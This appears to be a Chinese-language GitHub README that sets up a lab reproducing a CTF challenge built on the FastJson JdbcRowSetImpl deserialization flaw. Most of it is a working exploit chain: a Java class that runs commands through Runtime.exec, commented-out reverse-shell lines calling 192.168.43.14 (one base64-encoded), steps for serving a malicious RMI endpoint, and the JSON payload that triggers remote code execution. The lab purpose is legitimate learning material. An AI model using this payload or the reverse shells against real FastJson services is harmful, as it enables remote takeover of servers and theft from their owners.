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JNDI加载RMIServer,对FastJson的反序列化攻击,附漏洞环境 & 利用Exp。护网杯CTF比赛原型题目“easy_web”。

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rudrasingh99/FastJson-JdbcRowSetImpl-RCE

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FastJson-JdbcRowSetImpl

初心

在前不久的护网杯CTF比赛中,有一道Web的“easy_web”题,其实就是利用FastJson的JdbcRowSetImpl类反序列化漏洞进行Shell,然后cat Flag。一大部分人对这道题是懵逼的,没做出来,后面因护网杯题目关闭了,没有此漏洞的学习环境,所以我就写了此环境,方便大家学习交流。

漏洞环境构建

root@Bearcat:/# wget "https://github.com/iBearcat/FastJson-JdbcRowSetImpl/raw/master/FastJson_Vul.war" -P /opt/apache-tomcat-8.5.24/webapps/ && cd /opt/apache-tomcat-8.5.24/bin/ && ./startup.sh

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漏洞利用

在CommandObject.java类中的commands数组中构造想要执行的命令

编译 javac CommandObject.java

import	java.lang.Runtime;
import	java.lang.Process;
public class CommandObject {
    public CommandObject(){
        try{
			Runtime	rt	=	Runtime.getRuntime();
			//Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.43.14/2018<&1");
			//String[] commands = {"bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC40My4xNC8yMDE4PCYx}|{base64,-d}|{bash,-i}"};
			
			String[] commands = {"touch","/opt/test"}; //Command
			Process	pc = rt.exec(commands);
			pc.waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        CommandObject e = new CommandObject();
    }
}

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漏洞利用

开启一个HTTP服务,并且开启 RMIServer

如:

Python2 -m SimpleHTTPServer 80
Python3 -m http.server 80

生成Payload

java -jar FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar <HTTP服务地址> 指定RMI端口

FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar 会生成一串Json Payload

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{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.43.14:6666/Object","autoCommit":true}

把它Copy到漏洞环境的input中,然后submit进行攻击。

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成功执行命令,并touch test

String[] commands = {"touch","/opt/test"}; //Command

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致谢我的好基友

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JNDI加载RMIServer,对FastJson的反序列化攻击,附漏洞环境 & 利用Exp。护网杯CTF比赛原型题目“easy_web”。

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